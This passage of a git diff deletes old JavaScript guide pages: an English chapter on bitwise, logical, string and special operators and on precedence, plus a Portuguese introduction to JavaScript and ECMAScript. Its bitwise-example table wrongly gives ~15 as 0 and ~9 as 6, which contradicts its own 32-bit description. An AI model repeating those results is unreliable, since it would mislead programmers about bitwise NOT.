-<p>Bitwise operators treat their operands as a set of 32 bits (zeros and ones), rather than as decimal, hexadecimal, or octal numbers. For example, the decimal number nine has a binary representation of 1001. Bitwise operators perform their operations on such binary representations, but they return standard JavaScript numerical values.</p>
-
-<p>The following table summarizes JavaScript's bitwise operators.</p>
-
-<table class="standard-table">
- <caption>Table 3.4 Bitwise operators</caption>
- <thead>
- <tr>
- <th scope="col">Operator</th>
- <th scope="col">Usage</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>Bitwise AND</td>
- <td><code>a &amp; b</code></td>
- <td>Returns a one in each bit position for which the corresponding bits of both operands are ones.</td>
- </tr>
- <tr>
- <td>Bitwise OR</td>
- <td><code>a | b</code></td>
- <td>Returns a one in each bit position for which the corresponding bits of either or both operands are ones.</td>
- </tr>
- <tr>
- <td>Bitwise XOR</td>
- <td><code>a ^ b</code></td>
- <td>Returns a one in each bit position for which the corresponding bits of either but not both operands are ones.</td>
- </tr>
- <tr>
- <td>Bitwise NOT</td>
- <td><code>~ a</code></td>
- <td>Inverts the bits of its operand.</td>
- </tr>
- <tr>
- <td>Left shift</td>
- <td><code>a &lt;&lt; b</code></td>
- <td>Shifts <code>a</code> in binary representation <code>b</code> bits to the left, shifting in zeros from the right.</td>
- </tr>
- <tr>
- <td>Sign-propagating right shift</td>
- <td><code>a &gt;&gt; b</code></td>
- <td>Shifts <code>a</code> in binary representation <code>b</code> bits to the right, discarding bits shifted off.</td>
- </tr>
- <tr>
- <td>Zero-fill right shift</td>
- <td><code>a &gt;&gt;&gt; b</code></td>
- <td>Shifts <code>a</code> in binary representation <code>b</code> bits to the right, discarding bits shifted off, and shifting in zeros from the left.</td>
- </tr>
- </tbody>
-</table>
-
-<h4 id="Bitwise_Logical_Operators" name="Bitwise_Logical_Operators">Bitwise logical operators</h4>
-
-<p>Conceptually, the bitwise logical operators work as follows:</p>
-
-<ul>
- <li>The operands are converted to thirty-two-bit integers and expressed by a series of bits (zeros and ones).</li>
- <li>Each bit in the first operand is paired with the corresponding bit in the second operand: first bit to first bit, second bit to second bit, and so on.</li>
- <li>The operator is applied to each pair of bits, and the result is constructed bitwise.</li>
-</ul>
-
-<p>For example, the binary representation of nine is 1001, and the binary representation of fifteen is 1111. So, when the bitwise operators are applied to these values, the results are as follows:</p>
-
-<table class="standard-table">
- <caption>Table 3.5 Bitwise operator examples</caption>
- <thead>
- <tr>
- <th scope="col">Expression</th>
- <th scope="col">Result</th>
- <th scope="col">Binary Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>15 &amp; 9</code></td>
- <td><code>9</code></td>
- <td><code>1111 &amp; 1001 = 1001</code></td>
- </tr>
- <tr>
- <td><code>15 | 9</code></td>
- <td><code>15</code></td>
- <td><code>1111 | 1001 = 1111</code></td>
- </tr>
- <tr>
- <td><code>15 ^ 9</code></td>
- <td><code>6</code></td>
- <td><code>1111 ^ 1001 = 0110</code></td>
- </tr>
- <tr>
- <td><code>~15</code></td>
- <td><code>0</code></td>
- <td><code>~1111 = 0000</code></td>
- </tr>
- <tr>
- <td><code>~9</code></td>
- <td><code>6</code></td>
- <td><code>~1001 = 0110</code></td>
- </tr>
- </tbody>
-</table>
-
-<p> </p>
-
-<h4 id="Bitwise_Shift_Operators" name="Bitwise_Shift_Operators">Bitwise shift operators</h4>
-
-<p>The bitwise shift operators take two operands: the first is a quantity to be shifted, and the second specifies the number of bit positions by which the first operand is to be shifted. The direction of the shift operation is controlled by the operator used.</p>
-
-<p>Shift operators convert their operands to thirty-two-bit integers and return a result of the same type as the left operand.</p>
-
-<p>The shift operators are listed in the following table.</p>
-
-<table class="fullwidth-table">
- <caption>Table 3.6 Bitwise shift operators</caption>
- <thead>
- <tr>
- <th scope="col">Operator</th>
- <th scope="col">Description</th>
- <th scope="col">Example</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>&lt;&lt;</code><br>
- (Left shift)</td>
- <td>This operator shifts the first operand the specified number of bits to the left. Excess bits shifted off to the left are discarded. Zero bits are shifted in from the right.</td>
- <td><code>9&lt;&lt;2</code> yields 36, because 1001 shifted 2 bits to the left becomes 100100, which is 36.</td>
- </tr>
- <tr>
- <td><code>&gt;&gt;</code><br>
- (Sign-propagating right shift)</td>
- <td>This operator shifts the first operand the specified number of bits to the right. Excess bits shifted off to the right are discarded. Copies of the leftmost bit are shifted in from the left.</td>
- <td><code>9&gt;&gt;2</code> yields 2, because 1001 shifted 2 bits to the right becomes 10, which is 2. Likewise, <code>-9&gt;&gt;2</code> yields -3, because the sign is preserved.</td>
- </tr>
- <tr>
- <td><code>&gt;&gt;&gt;</code><br>
- (Zero-fill right shift)</td>
- <td>This operator shifts the first operand the specified number of bits to the right. Excess bits shifted off to the right are discarded. Zero bits are shifted in from the left.</td>
- <td><code>19&gt;&gt;&gt;2</code> yields 4, because 10011 shifted 2 bits to the right becomes 100, which is 4. For non-negative numbers, zero-fill right shift and sign-propagating right shift yield the same result.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Logical_operators">Logical operators</h3>
-
-<p>Logical operators are typically used with Boolean (logical) values; when they are, they return a Boolean value. However, the &amp;&amp; and || operators actually return the value of one of the specified operands, so if these operators are used with non-Boolean values, they may return a non-Boolean value. The logical operators are described in the following table.</p>
-
-<table class="fullwidth-table">
- <caption>Table 3.6 Logical operators</caption>
- <thead>
- <tr>
- <th scope="col">Operator</th>
- <th scope="col">Usage</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>&amp;&amp;</code></td>
- <td><code>expr1 &amp;&amp; expr2</code></td>
- <td>(Logical AND) Returns <code>expr1</code> if it can be converted to false; otherwise, returns <code>expr2</code>. Thus, when used with Boolean values, <code>&amp;&amp;</code> returns true if both operands are true; otherwise, returns false.</td>
- </tr>
- <tr>
- <td><code>||</code></td>
- <td><code>expr1 || expr2</code></td>
- <td>(Logical OR) Returns <code>expr1</code> if it can be converted to true; otherwise, returns <code>expr2</code>. Thus, when used with Boolean values, <code>||</code> returns true if either operand is true; if both are false, returns false.</td>
- </tr>
- <tr>
- <td><code>!</code></td>
- <td><code>!expr</code></td>
- <td>(Logical NOT) Returns false if its single operand can be converted to true; otherwise, returns true.</td>
- </tr>
- </tbody>
-</table>
-
-<p>Examples of expressions that can be converted to false are those that evaluate to null, 0, the empty string (""), or undefined.</p>
-
-<p>The following code shows examples of the &amp;&amp; (logical AND) operator.</p>
-
-<pre class="brush: js">var a1 = true &amp;&amp; true; // t &amp;&amp; t returns true
-var a2 = true &amp;&amp; false; // t &amp;&amp; f returns false
-var a3 = false &amp;&amp; true; // f &amp;&amp; t returns false
-var a4 = false &amp;&amp; (3 == 4); // f &amp;&amp; f returns false
-var a5 = "Cat" &amp;&amp; "Dog"; // t &amp;&amp; t returns Dog
-var a6 = false &amp;&amp; "Cat"; // f &amp;&amp; t returns false
-var a7 = "Cat" &amp;&amp; false; // t &amp;&amp; f returns false
-</pre>
-
-<p>The following code shows examples of the || (logical OR) operator.</p>
-
-<pre class="brush: js">var o1 = true || true; // t || t returns true
-var o2 = false || true; // f || t returns true
-var o3 = true || false; // t || f returns true
-var o4 = false || (3 == 4); // f || f returns false
-var o5 = "Cat" || "Dog"; // t || t returns Cat
-var o6 = false || "Cat"; // f || t returns Cat
-var o7 = "Cat" || false; // t || f returns Cat
-</pre>
-
-<p>The following code shows examples of the ! (logical NOT) operator.</p>
-
-<pre class="brush: js">var n1 = !true; // !t returns false
-var n2 = !false; // !f returns true
-var n3 = !"Cat"; // !t returns false
-</pre>
-
-<h4 id="Short-Circuit_Evaluation" name="Short-Circuit_Evaluation">Short-circuit evaluation</h4>
-
-<p>As logical expressions are evaluated left to right, they are tested for possible "short-circuit" evaluation using the following rules:</p>
-
-<ul>
- <li><code>false</code> &amp;&amp; <em>anything</em> is short-circuit evaluated to false.</li>
- <li><code>true</code> || <em>anything</em> is short-circuit evaluated to true.</li>
-</ul>
-
-<p>The rules of logic guarantee that these evaluations are always correct. Note that the <em>anything</em> part of the above expressions is not evaluated, so any side effects of doing so do not take effect.</p>
-
-<h3 id="String_operators">String operators</h3>
-
-<p>In addition to the comparison operators, which can be used on string values, the concatenation operator (+) concatenates two string values together, returning another string that is the union of the two operand strings. For example, <code>"my " + "string"</code> returns the string <code>"my string"</code>.</p>
-
-<p>The shorthand assignment operator += can also be used to concatenate strings. For example, if the variable <code>mystring</code> has the value "alpha", then the expression <code>mystring += "bet"</code> evaluates to "alphabet" and assigns this value to <code>mystring</code>.</p>
-
-<h3 id="Special_operators">Special operators</h3>
-
-<p>JavaScript provides the following special operators:</p>
-
-<ul>
- <li>{{ web.link("#Conditional_operator", "Conditional operator") }}</li>
- <li>{{ web.link("#Comma_operator", "Comma operator") }}</li>
- <li><code>{{ web.link("#delete", "delete") }}</code></li>
- <li><code>{{ web.link("#in", "in") }}</code></li>
- <li><code>{{ web.link("#instanceof", "instanceof") }}</code></li>
- <li><code>{{ web.link("#new", "new") }}</code></li>
- <li><code>{{ web.link("#this", "this") }}</code></li>
- <li><code>{{ web.link("#typeof", "typeof") }}</code></li>
- <li><code>{{ web.link("#void", "void") }}</code></li>
-</ul>
-
-<h4 id="conditional_operator" name="conditional_operator">Conditional operator</h4>
-
-<p>The conditional operator is the only JavaScript operator that takes three operands. The operator can have one of two values based on a condition. The syntax is:</p>
-
-<pre><em>condition</em> ? <em>val1</em> : <em>val2</em>
-</pre>
-
-<p>If <code>condition</code> is true, the operator has the value of <code>val1</code>. Otherwise it has the value of <code>val2</code>. You can use the conditional operator anywhere you would use a standard operator.</p>
-
-<p>For example,</p>
-
-<pre class="brush: js">var status = (age &gt;= 18) ? "adult" : "minor";
-</pre>
-
-<p>This statement assigns the value "adult" to the variable <code>status</code> if <code>age</code> is eighteen or more. Otherwise, it assigns the value "minor" to <code>status</code>.</p>
-
-<h4 id="comma_operator" name="comma_operator">Comma operator</h4>
-
-<p>The comma operator (<code>,</code>) simply evaluates both of its operands and returns the value of the second operand. This operator is primarily used inside a <code>for</code> loop, to allow multiple variables to be updated each time through the loop.</p>
-
-<p>For example, if <code>a</code> is a 2-dimensional array with 10 elements on a side, the following code uses the comma operator to increment two variables at once. The code prints the values of the diagonal elements in the array:</p>
-
-<pre class="brush: js">for (var i = 0, j = 9; i &lt;= 9; i++, j--)
- document.writeln("a[" + i + "][" + j + "]= " + a[i][j]);
-</pre>
-
-<h4 id="delete" name="delete"><code>delete</code></h4>
-
-<p>The <code>delete</code> operator deletes an object, an object's property, or an element at a specified index in an array. The syntax is:</p>
-
-<pre class="brush: js">delete objectName;
-delete objectName.property;
-delete objectName[index];
-delete property; // legal only within a with statement
-</pre>
-
-<p>where <code>objectName</code> is the name of an object, <code>property</code> is an existing property, and <code>index</code> is an integer representing the location of an element in an array.</p>
-
-<p>The fourth form is legal only within a <code>with</code> statement, to delete a property from an object.</p>
-
-<p>You can use the <code>delete</code> operator to delete variables declared implicitly but not those declared with the <code>var</code> statement.</p>
-
-<p>If the <code>delete</code> operator succeeds, it sets the property or element to <code>undefined</code>. The <code>delete</code> operator returns true if the operation is possible; it returns false if the operation is not possible.</p>
-
-<pre class="brush: js">x = 42;
-var y = 43;
-myobj = new Number();
-myobj.h = 4; // create property h
-delete x; // returns true (can delete if declared implicitly)
-delete y; // returns false (cannot delete if declared with var)
-delete Math.PI; // returns false (cannot delete predefined properties)
-delete myobj.h; // returns true (can delete user-defined properties)
-delete myobj; // returns true (can delete if declared implicitly)
-</pre>
-
-<h5 id="Deleting_array_elements">Deleting array elements</h5>
-
-<p>When you delete an array element, the array length is not affected. For example, if you delete <code>a[3]</code>, <code>a[4]</code> is still <code>a[4]</code> and <code>a[3]</code> is undefined.</p>
-
-<p>When the <code>delete</code> operator removes an array element, that element is no longer in the array. In the following example, <code>trees[3]</code> is removed with <code>delete</code>. However, <code>trees[3]</code> is still addressable and returns <code>undefined</code>.</p>
-
-<pre class="brush: js">var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
-delete trees[3];
-if (3 in trees) {
- // this does not get executed
-}
-</pre>
-
-<p>If you want an array element to exist but have an undefined value, use the <code>undefined</code> keyword instead of the <code>delete</code> operator. In the following example, <code>trees[3]</code> is assigned the value <code>undefined</code>, but the array element still exists:</p>
-
-<pre class="brush: js">var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
-trees[3] = undefined;
-if (3 in trees) {
- // this gets executed
-}
-</pre>
-
-<h4 id="in" name="in"><code>in</code></h4>
-
-<p>The <code>in</code> operator returns true if the specified property is in the specified object. The syntax is:</p>
-
-<pre class="brush: js">propNameOrNumber in objectName
-</pre>
-
-<p>where <code>propNameOrNumber</code> is a string or numeric expression representing a property name or array index, and <code>objectName</code> is the name of an object.</p>
-
-<p>The following examples show some uses of the <code>in</code> operator.</p>
-
-<pre class="brush: js">// Arrays
-var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
-0 in trees; // returns true
-3 in trees; // returns true
-6 in trees; // returns false
-"bay" in trees; // returns false (you must specify the index number,
- // not the value at that index)
-"length" in trees; // returns true (length is an Array property)
-
-// Predefined objects
-"PI" in Math; // returns true
-var myString = new String("coral");
-"length" in myString; // returns true
-
-// Custom objects
-var mycar = {make: "Honda", model: "Accord", year: 1998};
-"make" in mycar; // returns true
-"model" in mycar; // returns true
-</pre>
-
-<h4 id="instanceof" name="instanceof"><code>instanceof</code></h4>
-
-<p>The <code>instanceof</code> operator returns true if the specified object is of the specified object type. The syntax is:</p>
-
-<pre class="brush: js">objectName instanceof objectType
-</pre>
-
-<p>where <code>objectName</code> is the name of the object to compare to <code>objectType</code>, and <code>objectType</code> is an object type, such as <code>Date</code> or <code>Array</code>.</p>
-
-<p>Use <code>instanceof</code> when you need to confirm the type of an object at runtime. For example, when catching exceptions, you can branch to different exception-handling code depending on the type of exception thrown.</p>
-
-<p>For example, the following code uses <code>instanceof</code> to determine whether <code>theDay</code> is a <code>Date</code> object. Because <code>theDay</code> is a <code>Date</code> object, the statements in the <code>if</code> statement execute.</p>
-
-<pre class="brush: js">var theDay = new Date(1995, 12, 17);
-if (theDay instanceof Date) {
- // statements to execute
-}
-</pre>
-
-<h4 id="new" name="new"><code>new</code></h4>
-
-<p>You can use the <code>new</code> operator to create an instance of a user-defined object type or of one of the predefined object types <code>Array</code>, <code>Boolean</code>, <code>Date</code>, <code>Function</code>, <code>Image</code>, <code>Number</code>, <code>Object</code>, <code>Option</code>, <code>RegExp</code>, or <code>String</code>. On the server, you can also use it with <code>DbPool</code>, <code>Lock</code>, <code>File</code>, or <code>SendMail</code>. Use <code>new</code> as follows:</p>
-
-<pre class="brush: js">var objectName = new objectType([param1, param2, ..., paramN]);
-</pre>
-
-<p>You can also create objects using object initializers, as described in {{ web.link("Working_with_objects#Using_object_initializers", "using object initializers") }}.</p>
-
-<p>See the <a href="/en-US/docs/JavaScript/Reference/Operators/new" title="en-US/docs/JavaScript/Reference/Operators/Special_Operators/new_Operator"><code>new</code> operator</a> page in the Core JavaScript Reference for more information.</p>
-
-<h4 id="this" name="this"><code>this</code></h4>
-
-<p>Use the <code>this</code> keyword to refer to the current object. In general, <code>this</code> refers to the calling object in a method. Use <code>this</code> as follows:</p>
-
-<pre class="brush: js">this["propertyName"]
-</pre>
-
-<pre class="brush: js">this.propertyName
-</pre>
-
-<p><strong>Example 1.</strong><br>
- Suppose a function called <code>validate</code> validates an object's <code>value</code> property, given the object and the high and low values:</p>
-
-<pre class="brush: js">function validate(obj, lowval, hival){
- if ((obj.value &lt; lowval) || (obj.value &gt; hival))
- alert("Invalid Value!");
-}
-</pre>
-
-<p>You could call <code>validate</code> in each form element's <code>onChange</code> event handler, using <code>this</code> to pass it the form element, as in the following example:</p>
-
-<pre class="brush: html">&lt;B&gt;Enter a number between 18 and 99:&lt;/B&gt;
-&lt;INPUT TYPE="text" NAME="age" SIZE=3
- onChange="validate(this, 18, 99);"&gt;
-</pre>
-
-<p><strong>Example 2.</strong><br>
- When combined with the <code>form</code> property, <code>this</code> can refer to the current object's parent form. In the following example, the form <code>myForm</code> contains a <code>Text</code> object and a button. When the user clicks the button, the value of the <code>Text</code> object is set to the form's name. The button's <code>onClick</code> event handler uses <code>this.form</code> to refer to the parent form, <code>myForm</code>.</p>
-
-<pre class="brush: html">&lt;FORM NAME="myForm"&gt;
-Form name:&lt;INPUT TYPE="text" NAME="text1" VALUE="Beluga"&gt;
-&lt;P&gt;
-&lt;INPUT NAME="button1" TYPE="button" VALUE="Show Form Name"
- onClick="this.form.text1.value = this.form.name;"&gt;
-&lt;/FORM&gt;
-</pre>
-
-<h4 id="typeof" name="typeof"><code>typeof</code></h4>
-
-<p>The <code>typeof</code> operator is used in either of the following ways:</p>
-
-<ol>
- <li>
- <pre class="brush: js">typeof operand
-</pre>
- </li>
- <li>
- <pre class="brush: js">typeof (operand)
-</pre>
- </li>
-</ol>
-
-<p>The <code>typeof</code> operator returns a string indicating the type of the unevaluated operand. <code>operand</code> is the string, variable, keyword, or object for which the type is to be returned. The parentheses are optional.</p>
-
-<p>Suppose you define the following variables:</p>
-
-<pre class="brush: js">var myFun = new Function("5 + 2");
-var shape = "round";
-var size = 1;
-var today = new Date();
-</pre>
-
-<p>The <code>typeof</code> operator returns the following results for these variables:</p>
-
-<pre class="brush: js">typeof myFun; // returns "function"
-typeof shape; // returns "string"
-typeof size; // returns "number"
-typeof today; // returns "object"
-typeof dontExist; // returns "undefined"
-</pre>
-
-<p>For the keywords <code>true</code> and <code>null</code>, the <code>typeof</code> operator returns the following results:</p>
-
-<pre class="brush: js">typeof true; // returns "boolean"
-typeof null; // returns "object"
-</pre>
-
-<p>For a number or string, the <code>typeof</code> operator returns the following results:</p>
-
-<pre class="brush: js">typeof 62; // returns "number"
-typeof 'Hello world'; // returns "string"
-</pre>
-
-<p>For property values, the <code>typeof</code> operator returns the type of value the property contains:</p>
-
-<pre class="brush: js">typeof document.lastModified; // returns "string"
-typeof window.length; // returns "number"
-typeof Math.LN2; // returns "number"
-</pre>
-
-<p>For methods and functions, the <code>typeof</code> operator returns results as follows:</p>
-
-<pre class="brush: js">typeof blur; // returns "function"
-typeof eval; // returns "function"
-typeof parseInt; // returns "function"
-typeof shape.split; // returns "function"
-</pre>
-
-<p>For predefined objects, the <code>typeof</code> operator returns results as follows:</p>
-
-<pre class="brush: js">typeof Date; // returns "function"
-typeof Function; // returns "function"
-typeof Math; // returns "object"
-typeof Option; // returns "function"
-typeof String; // returns "function"
-</pre>
-
-<h4 id="void" name="void"><code>void</code></h4>
-
-<p>The <code>void</code> operator is used in either of the following ways:</p>
-
-<ol>
- <li>
- <pre class="brush: js">void (expression)
-</pre>
- </li>
- <li>
- <pre class="brush: js">void expression
-</pre>
- </li>
-</ol>
-
-<p>The <code>void</code> operator specifies an expression to be evaluated without returning a value. <code>expression</code> is a JavaScript expression to evaluate. The parentheses surrounding the expression are optional, but it is good style to use them.</p>
-
-<p>You can use the <code>void</code> operator to specify an expression as a hypertext link. The expression is evaluated but is not loaded in place of the current document.</p>
-
-<p>The following code creates a hypertext link that does nothing when the user clicks it. When the user clicks the link, <code>void(0)</code> evaluates to undefined, which has no effect in JavaScript.</p>
-
-<pre class="brush: html">&lt;A HREF="javascript:void(0)"&gt;Click here to do nothing&lt;/A&gt;
-</pre>
-
-<p>The following code creates a hypertext link that submits a form when the user clicks it.</p>
-
-<pre class="brush: html">&lt;A HREF="javascript:void(document.form.submit())"&gt;
-Click here to submit&lt;/A&gt;</pre>
-
-<h3 id="Operator_precedence">Operator precedence</h3>
-
-<p>The <em>precedence</em> of operators determines the order they are applied when evaluating an expression. You can override operator precedence by using parentheses.</p>
-
-<p>The following table describes the precedence of operators, from highest to lowest.</p>
-
-<p><small><em>In accordance with <a href="/en-US/docs/Talk:JavaScript/Guide/Obsolete_Pages/Operators#Precedence_Tablerators#Precedence_Table" title="Talk:JavaScript/Guide/Obsolete_Pages/Operators#Precedence_Table">relevant discussion</a>, this table was reversed to list operators in <strong>decreasing</strong> order of priority.</em></small></p>
-
-<table class="standard-table">
- <caption>Table 3.7 Operator precedence</caption>
- <thead>
- <tr>
- <th scope="col">Operator type</th>
- <th scope="col">Individual operators</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>member</td>
- <td><code>. []</code></td>
- </tr>
- <tr>
- <td>call / create instance</td>
- <td><code>() new</code></td>
- </tr>
- <tr>
- <td>negation/increment</td>
- <td><code>! ~ - + ++ -- typeof void delete</code></td>
- </tr>
- <tr>
- <td>multiply/divide</td>
- <td><code>* / %</code></td>
- </tr>
- <tr>
- <td>addition/subtraction</td>
- <td><code>+ -</code></td>
- </tr>
- <tr>
- <td>bitwise shift</td>
- <td><code>&lt;&lt; &gt;&gt; &gt;&gt;&gt;</code></td>
- </tr>
- <tr>
- <td>relational</td>
- <td><code>&lt; &lt;= &gt; &gt;= in instanceof</code></td>
- </tr>
- <tr>
- <td>equality</td>
- <td><code>== != === !==</code></td>
- </tr>
- <tr>
- <td>bitwise-and</td>
- <td><code>&amp;</code></td>
- </tr>
- <tr>
- <td>bitwise-xor</td>
- <td><code>^</code></td>
- </tr>
- <tr>
- <td>bitwise-or</td>
- <td><code>|</code></td>
- </tr>
- <tr>
- <td>logical-and</td>
- <td><code>&amp;&amp;</code></td>
- </tr>
- <tr>
- <td>logical-or</td>
- <td><code>||</code></td>
- </tr>
- <tr>
- <td>conditional</td>
- <td><code>?:</code></td>
- </tr>
- <tr>
- <td>assignment</td>
- <td><code>= += -= *= /= %= &lt;&lt;= &gt;&gt;= &gt;&gt;&gt;= &amp;= ^= |=</code></td>
- </tr>
- <tr>
- <td>comma</td>
- <td><code>,</code></td>
- </tr>
- </tbody>
-</table>
-
-<p>A more detailed version of this table, complete with links to additional details about each operator, may be found in <a href="/en-US/docs/JavaScript/Reference/Operators/Operator_Precedence#Table" title="en-US/docs/JavaScript/Reference/Operators/Operator_Precedence#Table">JavaScript Reference</a>.</p>
diff --git a/files/pt-pt/orphaned/web/javascript/guia/introdução_ao_javascript/index.html b/files/pt-pt/orphaned/web/javascript/guia/introdução_ao_javascript/index.html
deleted file mode 100644
index e6dbe68c30..0000000000
--- a/files/pt-pt/orphaned/web/javascript/guia/introdução_ao_javascript/index.html
+++ /dev/null
@@ -1,48 +0,0 @@
----
-title: Introdução ao JavaScript
-slug: orphaned/Web/JavaScript/Guia/Introdução_ao_JavaScript
-original_slug: Web/JavaScript/Guia/Introdução_ao_JavaScript
----
-<p>Este capítulo introduz o JavaScript e discute alguns de seus conceitos fundamentais.</p>
-<h3 id="What_is_JavaScript.3F" name="What_is_JavaScript.3F">O que é o JavaScript?</h3>
-<p>O JavaScript é uma linguagem de script multiplataforma, orientada a objetos. O JavaScript é uma linguagem pequena e leve; não é útil como uma linguagem de uso isolado, mas é projetada para fácil integração em outros produtos e aplicações, tais como navegadores web. Dentro de um ambiente de hospedagem, o JavaScript pode ser conectado aos objetos de seu ambiente para proporcionar um controle programático sobre elas.</p>
-<p>O núcleo do JavaScript contém um  núcleo de objetos, como <code>Array</code>, <code>Date</code>, e <code>Math</code>, e um núcleo de elementos de linguagem como operadores, estruturas de controle, e declarações. O núcleo do JavaScript pode ser extendido para uma variedade de propósitos complementando-o com objetos adicionais; por exemplo:</p>
-<ul> <li><em>O lado do cliente no JavaScript</em> extende o núcleo da linguagem fornecendo objetos para controlar um navegador (Navigator ou outro navegador web) e seu Document Object Model (DOM). Por exemplo, extensões para o lado do cliente permitem a uma aplicação colocar elementos em um formulário HTML e responder a eventos de usuários como cliques de mouse, entrada de dados e navegação na página.</li> <li><em>O lado do servidor no JavaScript</em> extende o núcleo da linguagem fornecendo objetos relevantes à execução de JavaScript no servidor. Por exemplo, extensões do lado do servidor permitem a uma aplicação comunicar-se com um banco de dados relacional, proporcionar continuidade de informação de uma invocação da aplicação para outra, ou executar manipulações de arquivos em um servidor.</li>
-</ul>
-<p>Através da funcionalidade JavaScript's LiveConnect, pode-se permitir que códigos em Java e em JavaScript comuniquem-se. É possível instanciar objetos Java e acessar seus métodos e campos públicos a partir do JavaScript. A partir do Java, por sua vez, pode-se acessar objetos, propriedades e métodos do JavaScript.</p>
-<p>O Netscape inventou o JavaScript e o JavaScript foi inicialmente usado em navegadores Netscape.</p>
-<h3 id="JavaScript_and_Java" name="JavaScript_and_Java">JavaScript e Java</h3>
-<p>O JavaScript e o Java são similares em algumas coisas, mas fundamentalmente diferentes em outras. A linguagem JavaScript assemelha-se ao Java, mas não possui a checagem de tipos forte e digitação estática do Java. O JavaScript suport a maioria das sintaxes de expressões em Java e um construtor básico de controles de fluxo.</p>
-<p>Em contraste com o sistema em tempo de compilação do Java, de classes construídas por declarações, o JavaScript suporta um sistema de tempo de execução baseado em um pequeno número de tipos de dados representando números, booleanos, e valores de strings. O JavaScript possui um modelo de objetos baseado em protótipos, ao invés do mais comum, modelo de objetos baseado em classes. O modelo baseado em protótipos provê a herança dinâmica; isto é, o que é herdado pode variar para objetos individuais. O JavaScript também suporta funções sem requisições especiais de declaração. Funções podem ser propriedades de objetos, executando métodos fracamente tipados.</p>
-<p>O JavaScript é uma linguagem com forma bastante livre comparada ao Java. Você não precisa declarar todas as variáveis, classes e métodos. Você não precisa se preocupar se os métodos são públicos, privados ou protegidos, e você não precisa implementar interfaces. Tipos de variáveis, parâmetros e retornos de funções não são explicitados.</p>
-<p>O Java é uma linguagem de programação baseada em classes e projetava para rápida execução e tipagem segura. Tipagem segura significa, por exemplo, que você não pode converter um inteiro do Java para uma referência de um objeto ou acessar a memória privada, corrompendo bytecodes do Java. O modelo baseado em classes do Java significa que o programa consiste exclusivamente de classes e seus métodos. A herança das classes no Java e a tipagem forte, geralmente requerem objetos com hierarquias firmemente acopladas. Estes requisitos fazem do Java uma linguagem de programação mais complexa que a autoria do JavaScript.</p>
-<p>Em contraste, o JavaScript descende em espírito de uma linha menor, linguagens tipadas dinamicamente, tais como HyperTalk e dBASE. Estas linguagens de stript oferecem ferramentas de programação para um público muito maior, devido a simplicidade de sua sintaxe, funcionalidades especializadas integradas e requisitos mínimos para criação de objetos.</p>
-<table class="standard-table"> <caption>Tabela 1.1 JavaScript em comparação ao Java</caption> <thead> <tr> <th scope="col">JavaScript</th> <th scope="col">Java</th> </tr> </thead> <tbody> <tr> <td>Orientação a objetos. Sem distinção entre tipos de objetos. A herança ocorre através do mecanismo de protótipos e os métodos e propriedades podem ser adicionados a qualquer objeto dinamicamente.</td> <td>Baseada em classes. Objetos são divididos em classes e instâncias com toda a herança através da hierarquia da classe. Classes e instâncias não podem ter métodos e propriedades adicionados dinamicamente.</td> </tr> <tr> <td>Tipos de dados variáveis não são declarados (tipagem dinâmica).</td> <td>Tipos de dados variáveis precisam ser declarados (tipagem estática).</td> </tr> <tr> <td>Não pode escrever automaticamente no disco rígido.</td> <td>Não pode escrever automaticamente no disco rígido.</td> </tr> </tbody>
-</table>
-<p>Para mais informações sobre as diferenças entre o JavaScript e o Java, veja o capítulo <a href="/en/JavaScript/Guide/Details_of_the_Object_Model" title="en/JavaScript/Guide/Details of the Object Model">Details of the Object Model</a>.</p><h3 id="JavaScript_and_the_ECMAScript_Specification" name="JavaScript_and_the_ECMAScript_Specification">JavaScript e a especificação ECMAScript</h3>
-<p>O Netscape inventou o JavaScript e o JavaScript foi primeiramente usado nos navegadores Netscape. Entretanto, a Netscape está trabalhando com a <a class="external" href="http://www.ecma-international.org/">Ecma International</a> — a associação européia para padronizão de informação e sistemas de comunicação (formalmente conhecida como ECMA - European Computer Manufacturers Association, em português: Associação de Fabricantes de Computadores Europeus) — para entregar uma linguagem de programação internacional padronizada, baseada no JavaScript. Esta versão padronizada do JavaScript, chamada de ECMAScript, comporta-se da mesma maneira em todas as aplicações que suportem o padrão. Empresas podem usar a linguagem padrão aberta para desenvolver sua implementação do JavaScript. O ECMAScript padrão é documentado na especificação ECMA-262.</p>
-<p>O padrão ECMA-262 é também aprovado pela <a class="external" href="http://www.iso.ch/">ISO</a> (International Organization for Standardization, em português: Organização Internacional para Padronização) como ISO-16262. Você pode encontrar uma <a class="external" href="http://www.mozilla.org/js/language/E262-3.pdf">versão PDF do ECMA-262</a> (en) no site da Mozilla. Você pode também encontrar a especificação em <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">the Ecma International website</a> (en). A especificação do ECMAScript não descreve o Document Object Model (DOM), o qual é padronizado pelo <a class="external" href="http://www.w3.org/">World Wide Web Consortium (W3C)</a>. O DOM define a maneira com a qual os objetos do documento HTML são expostos ao seu script.</p>
-<h4 id="Relationship_between_JavaScript_Versions_and_ECMAScript_Editions" name="Relationship_between_JavaScript_Versions_and_ECMAScript_Editions">Relação entre as versões do JavaScript e as edições do ECMAScript</h4>
-<p>O Netscape trabalhou próximo a Ecma International para produzir a Especificação ECMAScript (ECMA-262). A tabela seguinte descreve a relação entre as versões do JavaScript e as edições do ECMAScript.</p>
